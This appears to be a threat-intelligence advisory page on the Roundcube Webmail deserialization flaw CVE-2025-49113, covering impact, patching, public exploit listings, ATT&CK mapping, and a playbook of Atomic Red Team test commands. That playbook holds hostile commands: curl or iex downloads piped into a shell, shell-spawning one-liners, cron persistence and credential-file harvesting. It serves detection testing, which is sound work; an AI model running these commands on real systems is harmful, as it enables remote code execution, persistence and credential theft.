CVE-2025-49113

HIGH CISA KEV EXPLOIT POC TTE Zero-Day Pub 02/06 Upd 21/02

Overview

This vulnerability is a PHP Object Deserialization flaw occurring in Roundcube Webmail's file upload handling component. The root cause is improper validation of the _from parameter in the URL processed by program/actions/settings/upload.php, which allows crafted serialized objects to be deserialized unsafely. The affected feature is the authenticated user settings upload functionality, where user-supplied input is deserialized without sufficient integrity checks.

Vulnerability Description

Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization.

Impact

An attacker with valid authentication can execute arbitrary PHP code on the server, resulting in full system compromise. This includes the ability to execute shell commands, manipulate server files, and potentially pivot within the network. The prerequisite is possession of valid user credentials, which could be low-privileged accounts. The real-world consequence is a complete breach of the mail server environment, risking data exfiltration, service disruption, and lateral movement within the infrastructure.

Solution

Upgrade Roundcube Webmail to version 1.5.10 or later in the 1.5.x branch, or 1.6.11 or later in the 1.6.x branch as specified in the official Roundcube security advisory (https://roundcube.net/news/2025/06/01/security-updates-1.6.11-and-1.5.10). Follow the vendor's release notes and patch instructions available on their GitHub repository (https://github.com/roundcube/roundcubemail/releases/tag/1.6.11) to ensure the vulnerability is fully mitigated.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in Roundcube Webmail arises from improper validation of the _from parameter in the upload.php script, which is part of the settings management functionality. This oversight allows authenticated users to manipulate the input, leading to PHP Object Deserialization. When the application processes untrusted data without adequate validation, it can result in the execution of arbitrary code. This flaw is particularly concerning as it can be exploited by users who already have access to the webmail system, thereby bypassing traditional perimeter defenses that are designed to protect against external threats.

Exploitation of this vulnerability can occur through various attack vectors. An authenticated user could craft a malicious request that includes a specially formatted _from parameter. Upon submission, the server would deserialize the object, executing any embedded code within the payload. This scenario is especially dangerous in multi-user environments where a compromised account can lead to widespread access and control over the webmail application. Attackers could leverage this capability to deploy malware, exfiltrate sensitive data, or pivot to other systems within the network, significantly increasing the potential damage.

The real-world impact of this vulnerability is substantial, particularly for organizations that rely on Roundcube Webmail for communication and data management. Given the CVSS score of 8.8, the risk associated with this flaw is categorized as high, indicating that successful exploitation could lead to severe consequences. Businesses may face data breaches, loss of customer trust, and potential regulatory penalties if sensitive information is compromised. Furthermore, the ability to execute arbitrary code poses a direct threat to the integrity and availability of the webmail service, which could disrupt business operations and lead to financial losses.

To detect and mitigate this vulnerability, organizations should adopt a multi-faceted approach. Regularly updating Roundcube Webmail to the latest versions is crucial, as subsequent releases have addressed this flaw. Implementing strict input validation and sanitization measures can help prevent similar vulnerabilities from being introduced in the future. Additionally, organizations should monitor user activity for any suspicious behavior, particularly focusing on authenticated sessions that exhibit unusual patterns. Employing web application firewalls (WAFs) can also provide an additional layer of security by filtering out malicious requests before they reach the application.

In conclusion, the vulnerability within Roundcube Webmail highlights the critical importance of secure coding practices and robust input validation mechanisms. As organizations increasingly rely on web-based applications for communication and data management, the potential for exploitation underscores the need for vigilance in maintaining software security. By understanding the nature of this vulnerability, its exploitation scenarios, and implementing effective detection and mitigation strategies, organizations can significantly reduce their risk exposure and safeguard their digital assets.




CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2025-49113, with our telemetry indicating a significant surge in detection activity involving this Roundcube Webmail vulnerability. This uptick coincides with the recent inclusion of the vulnerability in the Known Exploited Vulnerabilities (KEV) catalog, which may be driving increased adversary focus and scanning efforts. Although the overall exploit trend remains stable according to EPSS metrics, the qualitative increase in observed activity suggests that threat actors are intensifying reconnaissance and potential exploitation campaigns. Notably, multiple new proof-of-concept exploits have surfaced on public repositories, broadening the accessibility of attack tools to a wider range of actors, including less sophisticated adversaries. This expansion of exploit availability, combined with the vulnerability’s high severity and post-authentication remote code execution vector, elevates the risk posture for organizations running affected Roundcube versions. Consequently, defenders should consider this development as an indicator of growing adversarial interest and an increased likelihood of targeted attacks leveraging this flaw.

Affected Products (3)

Vendor Product Version CPE
roundcube Roundcube Webmail All cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*
roundcube Roundcube Webmail All cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*
debian Debian Debian Linux 11.0 cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (1)

Module Authors Rank Platform Link
Roundcube Post-Auth RCE via PHP Object Deserialization
exploits/multi/http/roundcube_auth_rce_cve_2025_49113
Maksim Rogov, Kirill Firsov Unknown - View

ExploitDB (1)

Title Author Type Platform Date Link
Roundcube 1.6.10 - Remote Code Execution (RCE) Maksim Rogov webapps multiple - View

GitHub PoCs (24)

Repository Author Stars Forks Date Link
fearsoff-org/CVE-2025-49113
fearsoff-org 104 21 2025-06-04 View
hakaioffsec/CVE-2025-49113-exploit
Proof of Concept demonstrating Remote Code Execution through insecure deserialization in Roundcube (CVE-2025-49113).
hakaioffsec 88 18 2025-06-06 View
00xCanelo/CVE-2025-49113
💥 Python Exploit for CVE-2025-49113 | Roundcube Webmail RCE via PHP Object Injection
00xCanelo 7 6 2025-07-19 View
BiiTts/Roundcube-CVE-2025-49113
Proof-of-concept to CVE-2025-49113
BiiTts 6 1 2025-06-10 View
rxerium/CVE-2025-49113
Detection for CVE-2025-49113
rxerium 5 0 2025-06-03 View
rasool13x/exploit-CVE-2025-49113
rasool13x 3 2 2025-06-05 View
Zwique/CVE-2025-49113
POC of CVE-2025-49113
Zwique 4 0 2025-08-24 View
Ademking/CVE-2025-49113-nuclei-template
CVE-2025-49113 - Roundcube <= 1.6.10 Post-Auth RCE via PHP Object Deserialization
Ademking 3 0 2025-06-04 View
SyFi/CVE-2025-49113
CVE-2025-49113 exploit
SyFi 2 0 2025-06-06 View
Joelp03/CVE-2025-49113
Joelp03 1 1 2025-07-18 View
Yuri08loveElaina/CVE-2025-49113
Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the ...
Yuri08loveElaina 1 0 2025-06-15 View
l4f2s4/CVE-2025-49113_exploit_cookies
CVE-2025-49113 - Roundcube Remote Code Execution
l4f2s4 1 0 2025-09-19 View
rippsec/CVE-2025-49113-Roundcube-RCE
CVE-2025-49113 – Roundcube ≤1.6.10 post-auth RCE via PHP object deserialization (HackTheBox CTF)
rippsec 0 0 2026-04-16 View
mooder1/CVE-2025-49113
Roundcube Webmail post-auth RCE via PHP object deserialization (CVE-2025-49113)
mooder1 0 0 2026-04-11 View
AC8999/CVE-2025-49113
Python Script for CVE-2025-49113. Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution b...
AC8999 0 0 2025-08-29 View
LeakForge/CVE-2025-49113
Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization
LeakForge 0 0 2025-08-30 View
Zuack55/Roundcube-1.6.10-Post-Auth-RCE-CVE-2025-49113-
Zuack55 0 0 2025-09-10 View
ankitpandey383/roundcube-cve-2025-49113-lab
Hands-on exploitation lab for Roundcube Webmail CVE-2025-49113 (authenticated PHP object deserialization → RCE) to read ...
ankitpandey383 0 0 2025-11-17 View
Evillm/CVE-2025-49113-PoC
Evillm 0 0 2026-02-04 View
5kr1pt/Roundcube_CVE-2025-49113
Explicação + Lab no THM
5kr1pt 0 0 2025-06-17 View
CyberQuestor-infosec/CVE-2025-49113-Roundcube_1.6.10
CyberQuestor-infosec 0 0 2025-08-18 View
punitdarji/roundcube-cve-2025-49113
punitdarji 0 0 2025-06-18 View
hackmelocal/CVE-2025-49113-Simulation
hackmelocal 0 0 2025-07-11 View
SteamPunk424/CVE-2025-49113-Roundcube-RCE-PHP
This is a rewritten exploit to work with php
SteamPunk424 0 0 2025-08-19 View
Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

11 events
2026-07-09
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-08
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-16
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-12
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-08
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-02-20
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2025-06-03
PoC Published (24 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2025-06-02
Exploit Published (1 ExploitDB, 1 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Remote Code Execution
100% rce
Deserialization Vulnerabilities
100% deserialization
Code Injection
70% code_injection
OS Command Injection
57% command_injection

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1053.003 Cron Kill Chain execution, persistence, privilege-escalation Linux, macOS, ESXi
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-586 Object Injection
43%
Medium High

Red Team Playbook

47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1053.003 Cron - Add script to /etc/cron.d folder Linux Shell Privileged
This test adds a script to /etc/cron.d folder configured to execute on a schedule.
Command (Shell)
echo "#{command}" > /etc/cron.d/#{cron_script_name}
T1053.003 Cron - Add script to /var/spool/cron/crontabs/ folder Linux Bash Privileged
This test adds a script to a /var/spool/cron/crontabs folder configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
Command (Bash)
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
T1053.003 Cron - Add script to all cron subfolders Linux, macOS Bash Privileged
This test adds a script to /etc/cron.hourly, /etc/cron.daily, /etc/cron.monthly and /etc/cron.weekly folders configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
Command (Bash)
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
T1053.003 Cron - Replace crontab with referenced file Linux, macOS Shell
This test replaces the current user's crontab file with the contents of the referenced file. This technique was used by numerous IoT automated exploitation attacks.
Command (Shell)
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt      
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell)
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells 
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (14)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2025-49113
roundcube.net
GitHub CVE
https://roundcube.net/news/2025/06/01/security-updates-1.6.11-and-1.5.10
github.com
GitHub CVE
https://github.com/roundcube/roundcubemail/pull/9865
github.com
GitHub CVE
https://github.com/roundcube/roundcubemail/releases/tag/1.6.11
github.com
GitHub CVE
https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d
github.com
GitHub CVE
https://github.com/roundcube/roundcubemail/releases/tag/1.5.10
github.com
GitHub CVE
https://github.com/roundcube/roundcubemail/commit/7408f31379666124a39f9cb1018f62bc5e2dc695
github.com
GitHub CVE
https://github.com/roundcube/roundcubemail/commit/c50a07d88ca38f018a0f4a0b008e9a1deb32637e
fearsoff.org
GitHub CVE
https://fearsoff.org/research/roundcube
vicarius.io
GitHub CVE
https://www.vicarius.io/vsociety/posts/cve-2025-49113-roundcube-vulnerability-detection
vicarius.io
GitHub CVE
https://www.vicarius.io/vsociety/posts/cve-2025-49113-roundcube-mitigation-script
openwall.com
NVD API Mailing List Third Party Advisory
http://www.openwall.com/lists/oss-security/2025/06/02/3
lists.debian.org
NVD API Mailing List Third Party Advisory
https://lists.debian.org/debian-lts-announce/2025/06/msg00008.html
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-49113